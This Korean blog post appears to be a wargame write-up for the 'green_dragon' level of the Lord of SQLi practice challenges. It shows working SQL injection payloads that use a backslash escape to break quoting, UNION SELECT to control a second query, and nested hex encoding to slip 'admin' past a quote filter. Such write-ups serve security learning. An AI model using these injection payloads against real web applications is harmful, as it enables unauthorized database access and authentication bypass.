[LOS] green_dragon 풀이 (st.25)
Wargame/LOS

[LOS] green_dragon 풀이 (st.25)

 

 

풀이

 

지금까지 풀었던 문제 중 제일 오래 걸린 문제다.

테스트 해보려고 내가 서버에 MySQL을 깔 줄이야 ㅠ.ㅠ

 

이 문제는 좀 특별한 게, Query를 총 2번 날린다.

그래서 그런지, query2가 정상적으로 동작하기 위해서는, 생각보다 좀 코드를 많이 꼬아야 한다.

이 문제는 result['id'] 값이 admin이면 해결되는 간단한 문제처럼 보인다. 이제 풀이를 봐보자.


우선 싱글, 더블 쿼터를 Filtering 하니, 이스케이프 문자(\)를 이용해 필터를 우회하자.

먼저 union select를 통해 query2가 실행되게 만들어보자.

id, pw로 컬럼이 총 2개이니 union select 1,2를 넣어보면 query2가 나오지 않을까 싶다.

 

Query:  ?id=\&pw= union select 1,2%23

 

 

예상대로, query2가 정상적으로 출력되었다.

그렇다면 id=admin을 넣으면 되는게 아닐까? 하고 Query를 날려보았다.

라고 생각해서 이 부분에서 엄청나게 삽질을 했다.

당연하게도 테이블에 admin이란 값이 있는 줄 알았는데, 아니었다.

 

결론은, union select를 이용해 id 컬럼에 admin이란 값을 강제로 넣어야 한다.

다음 Query문을 생각해보자.

 

Query:  ?id=\&pw= union select \,id='admin'#%23

$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";

이 부분에 해당 Query문이 들어간다면 어떻게 변할지 살펴보자. (주석은 표기하지 않음.)

 

$query2 = "select id from prob_green_dragon where id='\' and pw=' union select id='admin''";

이 되어, id 컬럼에 admin이란 값이 들어가게 된다.

 

단, 싱글 쿼터와 더블 쿼터가 필터링 되어있기 때문에, hex값을 이용해 $query를 통과해보자.

마지막 $query2가 정상적인 동작을 하기 위해서는 admin이란 값은 2번 hex를 돌려줘야 한다.

최종 Query문은 다음과 같다.

 

Query:  ?id=\&pw=union select 0x5c,0x20756e696f6e2073656c6563742030783631363436643639366523%23

 

'Wargame > LOS' 카테고리의 다른 글

[LOS] hell_fire 풀이 (st.23)  (0) 2020.05.31
[LOS] evil_wizard 풀이 (st.24)  (0) 2020.05.31
[LOS] dark eyes 풀이 (st.22)  (0) 2020.05.30
[LOS] dragon 풀이 (st.20)  (0) 2020.05.30
[LOS] iron golem 풀이 (st.21)  (0) 2020.05.30